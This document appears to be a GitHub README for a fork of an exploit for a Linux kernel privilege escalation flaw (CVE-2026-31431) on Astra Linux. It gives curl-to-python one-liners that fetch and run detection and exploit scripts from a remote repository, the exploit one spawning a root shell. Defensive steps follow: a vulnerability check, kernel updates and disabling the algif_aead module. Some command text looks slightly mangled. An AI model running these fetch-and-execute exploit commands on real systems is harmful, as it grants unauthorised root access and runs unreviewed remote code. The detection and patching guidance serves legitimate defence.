p401a-ops/copy-failDetects and exploits CVE-2026-31431 (Copy Fail) local privilege escalation on Astra Linux, with Python 3.7+ compatibility and one-liner deployment.
Safe check without exploitation:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Exploitation (when prompted, you will need to enter the user password)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
This is a fork adapted for Python 3.7, 3.8, 3.9, 3.10, 3.11.
The original exploits require Python 3.12+ due to the use of os.splice().
# ❌ Original exploit (Python 3.12+ only)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()###Exploitation on Astra Linux
The vulnerability has been verified on Astra Linux. The algif_aead module is present, and exploitation allows gaining access to sudo and elevating privileges to root.
However, with mandatory access control (MAC/Parsec) enabled, becoming a superadministrator (level 63 / astra-admin role) is not possible: mandatory labels restrict the privileges of even the root process, and the security policy does not allow crossing the established confidentiality levels.
Thus: 🔴 Astra Linux systems without MAC or with MAC disabled — fully vulnerable. 🟡 Systems with MAC enabled — partially protected: obtaining root is possible, but the attacker's actual capabilities are limited by the mandatory policy.
In both cases, when the vulnerability is detected, applying the measures from items 2 or 3 is mandatory.
━━━━━━━━━━━━━━━
On each server, the following command must be executed. It makes no changes to the system and only checks whether the vulnerable module is available.
Connect to the server and run as a single line:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VULNERABLE **\n" + ""*30)'
🔴 If the word VULNERABLE appears on the screen — the server is susceptible to the vulnerability, proceed to item 2. 🟢 If a Python error message appears — the server is not susceptible to the vulnerability, no further action is required.
━━━━━━━━━━━━━━━ 2. Main solution — kernel update
The kernel must be updated to a version containing the fix: 6.18.22, 6.19.12 or newer. Until the update is applied, disabling the module from item 3 provides protection.
For Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
After rebooting, be sure to verify that the new kernel has actually loaded:
uname -r
If the command shows a version lower than 6.18.22 — the kernel has not been updated or the system booted from an old image. In this case, make sure the update was installed (apt-get dist-upgrade did not report errors) and repeat the reboot.
⚠️ Astra Linux 1.7.x: Until the update is released, the only protection measure is disabling the module from item 3. To obtain the patch, it is recommended to contact Astra Linux technical support via your personal account.
━━━━━━━━━━━━━━━ 3. Temporary protection measure — disabling the vulnerable module
If a kernel update is currently not possible, disabling the vulnerable module is recommended as a temporary measure. The operation does not require a reboot and takes effect immediately. Before applying, it is recommended to test the changes in a test environment: in rare cases, individual services may use this module directly.
Command to disable the module. Run as root (or via sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
The first command prevents the module from loading on subsequent startups. The second unloads it right now, if it is loaded. An error in the second command is normal — it means the module was not active.